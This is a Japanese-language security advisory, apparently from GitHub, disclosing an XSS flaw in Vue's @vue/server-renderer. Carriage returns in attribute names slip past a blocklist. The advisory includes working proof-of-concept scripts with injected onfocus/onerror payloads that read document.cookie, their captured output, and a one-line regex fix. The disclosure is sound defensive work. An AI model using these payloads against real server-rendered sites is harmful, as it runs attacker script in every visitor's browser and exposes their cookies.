@vue/server-renderer: 属性名ブラックリストの抜け穴によるXSS脆弱性
## 説明
`@vue/server-renderer`は、Vueの中で、テンプレートのレンダリング結果が実際のHTTPレスポンスボディとなる唯一の場所です。これは、クライアントサイドのレンダリングとは異なり、サーバーサイドの信頼境界に該当します。クライアントサイドのレンダリングは、アプリケーション自身のJavaScriptを実行しているブラウザセッションにのみ影響します。
`ssrRenderAttrs()`(`packages/server-renderer/src/helpers/ssrRenderAttrs.ts`内)は、コンパイルされたSSR出力が`<div v-bind="userObject">`のようなものに対して呼び出す関数です。この関数は、オブジェクト自身のキーをループ処理し、それぞれのキーをHTML属性としてレンダリングします。
```ts
export function ssrRenderDynamicAttr(
key: string,
value: unknown,
tag?: string,
): string {
if (!isRenderableAttrValue(value)) {
return ``
}
const attrKey = ...
if (isBooleanAttr(attrKey) || ...) {
return includeBooleanAttr(value) ? ` ${attrKey}` : ``
} else if (isSSRSafeAttrName(attrKey)) {
return value === '' ? ` ${attrKey}` : ` ${attrKey}="${escapeHtml(value)}"`
} else {
console.warn(`[@vue/server-renderer] 危険な属性名をレンダリングしないことにしました: ${attrKey}`)
return ``
}
}
```
値は常に`escapeHtml()`を経由します。この部分は、このファイル全体で正しく、一貫して適用されています。しかし、属性名(`attrKey`)は、文字のブラックリストとの比較のみが行われ、エスケープ処理なしで直接出力に組み込まれます。
```ts
// packages/shared/src/domAttrConfig.ts
const unsafeAttrCharRE = /[>/="'\u0009\u000a\u000c\u0020]/
export function isSSRSafeAttrName(name: string): boolean {
if (attrValidationCache.hasOwnProperty(name)) {
return attrValidationCache[name]
}
const isUnsafe = unsafeAttrCharRE.test(name)
if (isUnsafe) {
console.error(`危険な属性名: ${name}`)
}
return (attrValidationCache[name] = !isUnsafe)
}
```
このブラックリストには、`>`, `/`, `=`, `"`, アポストロフィ、タブ(U+0009)、改行(U+000A)、フォームフィード(U+000C)、およびスペース(U+0020)が含まれます。ただし、U+000D(キャリッジリターン、CR。JavaScriptでは`\r`と記述)は含まれません。
これは、ブラウザが実際にHTMLをどのように解析するかに関わる重要な点です。WHATWGのHTML解析仕様によると、最初のステップ(入力ストリームの事前処理)において、`\n`に続く`\r`を除くすべての`\r`が、トークナイザーが開始される前に`\n`に変換されます。したがって、Vueが単一の属性名として意図している文字列内に存在する生の`\r`は、ブラウザによって実際の改行に変換されます。そして、改行は属性名を終了させ、新しい属性名を開始させる文字の1つです。ブラックリストは、ブラウザが再解釈する前に、Vueが認識する文字列をチェックしており、まさにその点が問題なのです。
以下は、このリポジトリの最新のクローンであり、正確なコミット、脆弱な行、およびソースコードへの変更なしであることを確認しています。
<img width="781" height="336" alt="poc1" src="https://github.com/user-attachments/assets/f4b92955-9a8f-4700-8c51-38ee46912de8" />
## 証拠
公開されている`@vue/server-renderer@3.5.41`パッケージから取得した、変更されていない`ssrRenderAttrs()`関数がテストされました。また、HEADのソースコードと、今後の`v3.6.0-rc.2`タグのソースコードも確認し、両方とも同じ脆弱な正規表現が含まれていることが判明しました。修正が含まれるブランチは見つかりませんでした。
完全なスクリプトは`poc.mjs`という名前で保存されています(GitHubでは`.mjs`ファイルを直接添付できないため、完全なファイルはこちらにあります)。
```js
import { ssrRenderAttrs } from '@vue/server-renderer';
import { parseFragment } from 'parse5';
```
```
// これは、コンパイルされたSSR出力が要求するものです: `<div v-bind="userObject">`
// -- 実際の、変更されていない、公開されているssRenderAttrs関数です。
// 完全な攻撃チェーン: キー自体には、文字、数字、および単純な改行文字(\r)しか含まれていません。
// '>'、'/'、'='、'"'、'''、タブ、LF、FF、または空白がどこにも含まれていません。
// そのため、isSSRSafeAttrName()はこれを完全に安全と判断します。
// 値は攻撃者が制御するJavaScriptで、Vue自身のテンプレートが`${escapeHtml(value)}`によって、
// キーの直後に自動的に付加される、最後の改行区切りのフラグメントの実際の値として提供されます。
const maliciousKey = 'x\rautofocus\ronfocus';
const props = {
[maliciousKey]: 'alert(document.cookie)',
};
const rawAttrString = ssrRenderAttrs(props);
console.log('=== 実際のssRenderAttrs()関数によって生成された生の文字列 ===');
console.log(JSON.stringify(rawAttrString));
console.log();
console.log('=== HTMLレスポンスに実際に表示される文字列 ===');
console.log(rawAttrString.replace(/\r/g, '\\r').replace(/\n/g, '\\n\\n'));
const fullHtml = `<div${rawAttrString}>content</div>`;
console.log();
console.log('=== 完全な要素のHTML ===');
console.log(JSON.stringify(fullHtml));
// ここでは、この正確な出力をparse5で解析します。これは、実際のブラウザが実装する、
// 規格に準拠したHTML5パーサーです(改行文字の変換など、入力前処理の正規化ステップも含まれます)。
const fragment = parseFragment(fullHtml);
const div = fragment.childNodes.find(n => n.tagName === 'div');
console.log();
console.log('=== 実際のHTML5パーサー(parse5)が実際にどのように解釈するか ===');
console.log('<div>要素に解析された属性:');
for (const attr of div.attrs) {
console.log(` ${JSON.stringify(attr.name)} = ${JSON.stringify(attr.value)}`);
}
```
```
const injectedHandler = div.attrs.find(a => a.name === 'onfocus');
const injectedAutofocus = div.attrs.find(a => a.name === 'autofocus');
console.log();
if (injectedHandler && injectedAutofocus) {
console.log('*** 確認済み: 実際の、独立した "autofocus" と "onfocus" 属性が解析されました ***');
console.log(`*** onfocus の値: ${JSON.stringify(injectedHandler.value)} ***`);
console.log('*** この要素は、ユーザーの操作なしに、ページ読み込み時に攻撃者の JavaScript を自動的に実行します。***');
} else {
console.log('確認されていません。');
}
```
これは、`npm install vue@3.5.41 @vue/server-renderer@3.5.41 parse5` を実行したものです。これは、実際に公開されているパッケージであり、改変されたものではありません。
<img width="831" height="531" alt="poc2" src="https://github.com/user-attachments/assets/ea350948-4c93-45a3-b21a-f21dc7f90d29" />
実際の、キャプチャされた出力:
```
=== 実際の ssrRenderAttrs() によって生成された文字列 ===
" x\rautofocus\ronfocus=\"alert(document.cookie)\""
=== 要素全体の HTML ===
"<div x\rautofocus\ronfocus=\"alert(document.cookie)\">content</div>"
=== 実際の HTML5 パーサー (parse5) が解釈する方法 ===
<div> 要素で解析された属性:
"x" = ""
"autofocus" = ""
"onfocus" = "alert(document.cookie)"
*** 確認済み: 実際の、独立した "autofocus" と "onfocus" 属性が解析されました ***
*** onfocus の値: "alert(document.cookie)" ***
```
<img width="834" height="897" alt="poc3" src="https://github.com/user-attachments/assets/a92f9c5b-e30d-4968-9ec1-8969628c6437" />
<img width="834" height="896" alt="poc4" src="https://github.com/user-attachments/assets/a397cd3f-8eb3-49af-9604-a31a8bcdb2ea" />
Vue が安全にレンダリングしようとした属性名 `-- `x\rautofocus\ronfocus` -- は、実際のブラウザでは、空の `x` 属性、実際の `autofocus` ブール属性、そして実際の `onfocus="alert(document.cookie)"` イベントハンドラという、3つの別々の要素として解釈されます。 `autofocus` は、ページ読み込み時に要素が自動的にフォーカスされることを意味し、これにより `focus` イベントが即座に発生し、注入された JavaScript が実行されます。クリックやホバー、そしていかなるユーザー操作も必要ありません。
この動作は、ペイロード固有のものではないことを確認するために、まず最小限のケース(キーとして `"foo\rbar"` を使用し、他の特殊文字は一切使用しない)でメカニズムを分離しました。この場合も、parse5 は `foo=""` と `bar="..."` という2つの有効な属性に分割します。その後、上記の完全な自己トリガー型のペイロードを構築しました。
パーサーレベルでの検証に加えて、実際の `ssrRenderAttrs()` を呼び出し、その正確な戻り値をプログラム的に取得し、変更せずに直接 HTML ファイルに書き込むための別のスクリプトがあります。このステップでは、HTMLを手動で入力していません。完全なスクリプトは `generate_real_poc.mjs` として保存されています。
```js
import { ssrRenderAttrs } from '@vue/server-renderer';
import fs from 'fs';
// これは、実際のインストール済みの
// @vue/server-renderer@3.5.41 から取得した、実際の、変更されていない ssrRenderAttrs() です。
// この行の下にあるものはすべて手動で入力されたものではなく、HTMLではなく、
// Vue 自身の関数の実際の戻り値であり、プログラム的に取得されたものです。
const maliciousKey = 'x\rsrc\ronerror';
const props = { [maliciousKey]: 'alert("REAL Vue SSR output executed this -- cookie: " + document.cookie)' };
const vueOutput = ssrRenderAttrs(props);
console.log('=== Vue\'s real ssrRenderAttrs() returned exactly this string ===');
console.log(JSON.stringify(vueOutput));
```
```
// Vueの変更されていない出力(<img ...>タグ)を中心に、ページ全体を構築します。
// angle bracketsで囲まれた内容は、vueOutputからバイト単位でコピーされたものであり、
// 手入力されたものではありません。
const html = `<!DOCTYPE html>
<html lang="ja">
<head><title>Vue SSR PoC -- バイト単位のVue出力</title></head>
<body>
<h3>以下の<img>タグ内に含まれるすべての内容は、このファイルに
プログラムによって書き込まれたものであり、実際のインストール済みの<code
>@vue/server-renderer@3.5.41</code>パッケージの<code
>ssrRenderAttrs()</code>の実際の戻り値から生成されています。
タグ自体のHTMLは手入力されていません。</h3
>
<p>Vueの関数が返した正確なJSONエスケープされた文字列(generate_real_poc.mjsを参照。このファイルが書き込まれる直前に実行されます):</p>
<pre id="vue-output-proof">${vueOutput.replace(/</g, '<')}</pre>
<hr>
<img${vueOutput}>
</body>
</html>
`;
const outPath = '/Users/onevilx/Desktop/vue-ssr-xss-poc-real.html';
fs.writeFileSync(outPath, html);
console.log('\nWrote', outPath);
console.log('<img...>タグ内のバイトは、Vueの実際の、変更されていない戻り値です。');
```
生成されたファイルを実際のブラウザで開くと、ペイロードが自動的に実行されます。
<img width="1666" height="449" alt="poc5" src="https://github.com/user-attachments/assets/251bd830-634f-4cd0-bf79-849bbc07ec9a" />
同じページのデベロッパーツールで確認すると、ブラウザが実際に3つの異なる属性(`x`、`src`、`onerror`)を解析していることが確認でき、これはページ上に記述された、Vueの実際の戻り値から直接生成されたテキストと一致しています。
<img width="1348" height="400" alt="poc6" src="https://github.com/user-attachments/assets/b19d6ff0-ecaa-45f3-9149-9f3d0d4faacb" />
クライアントサイド(SSRではない)のVueレンダリングに影響があるかどうかについても確認しました。しかし、影響はありません。この制限についても、あらかじめお伝えしておきます。クライアントサイドのVueでは、DOMの`setAttribute()` APIを使用して動的な属性を設定しますが、このAPIは属性名がHTMLのQNameの文法に準拠しているかどうかを検証し、`"`のような文字が含まれている場合は`DOMException`を発生させます(この動作を確認する、既存の関連性のない未解決の問題(#13944)があります)。これは、独自の検証を行う、全く異なるコードパスであり、この特定のバグにこのパスから到達する方法は見つかりませんでした。これは、`@vue/server-renderer`(SSR)でのみ発生する問題です。
## 影響
この問題は、アプリケーションが、開発者が完全に制御できないソースから取得したキー(値だけでなく)を持つオブジェクトを、`v-bind="object"`またはそれに相当するコンパイルされた形式でバインドする場合に発生します。この状況がどの程度一般的であるかについて、正直に申し上げます。信頼できない値を属性にバインドすることは、Vueの標準的な、日常的なパターンであり、すでに`escapeHtml()`によって安全に処理されています。信頼できないキーをバインドすることは、必ずしも一般的ではありませんが、これはVueの公式にサポートされている機能であり、フレームワークの誤用ではありません。そして、`isSSRSafeAttrName()`が存在する目的は、まさにこのシナリオを保護することであり、これはすでにこのファイルに関するあなたの脅威モデルの一部になっているはずですが、完全に網羅されていない状態です。具体的な例としては、フィールド/属性の名前が、信頼度が低いロールによって設定可能であり、SSRによって他のユーザーにレンダリングされるCMSやフォームビルダーの機能、または、別の場所で検証された設定オブジェクトをルート要素に展開するコンポーネント、そして、キーと値の両方が外部データ(データベースのレコード、APIのレスポンス、オブジェクトにパースされたクエリ文字列など)から取得されるプレーンなオブジェクトを受け取る、動的な属性ヘルパーなどが考えられます。
到達可能な場合、影響はサーバーでレンダリングされたHTML内に完全に自己トリガーされるXSSを引き起こします。注入された`autofocus`または`onfocus`のコードが、ページが読み込まれた瞬間に、そのサーバーレンダリングされた出力を受信するすべての訪問者に対して、ユーザーの操作なしに実行されます。これは、データの安全なレンダリングを目的とするセキュリティに関わるコンポーネントにおいて、信頼境界を完全に破るものです。
## 提案される修正
`packages/shared/src/domAttrConfig.ts`にある`unsafeAttrCharRE`に、U+000D(キャリッジリターン)を追加します。
```ts
const unsafeAttrCharRE = /[>/="'\u0009\u000a\u000c\u000d\u0020]/
```
タブ、LF、FF、CR、スペース(これら5つすべて)を含む、WHATWGの完全な「ASCII空白文字」の定義に対して再確認を行うことが望ましいです。なぜなら、文字を一つずつ列挙するリストは、抜け漏れが発生しやすいからです。今回、まさにそのような状況が発生しました。
影響を受けるパッケージ:
- npm (JavaScript) @vue/server-renderer: 影響を受けるバージョンは3.5.42未満、修正は3.5.42で実施済み
- npm (JavaScript) @vue/server-renderer: 影響を受けるバージョンは3.6.0-rc.0以上、3.6.0-rc.6未満、修正は3.6.0-rc.6で実施済み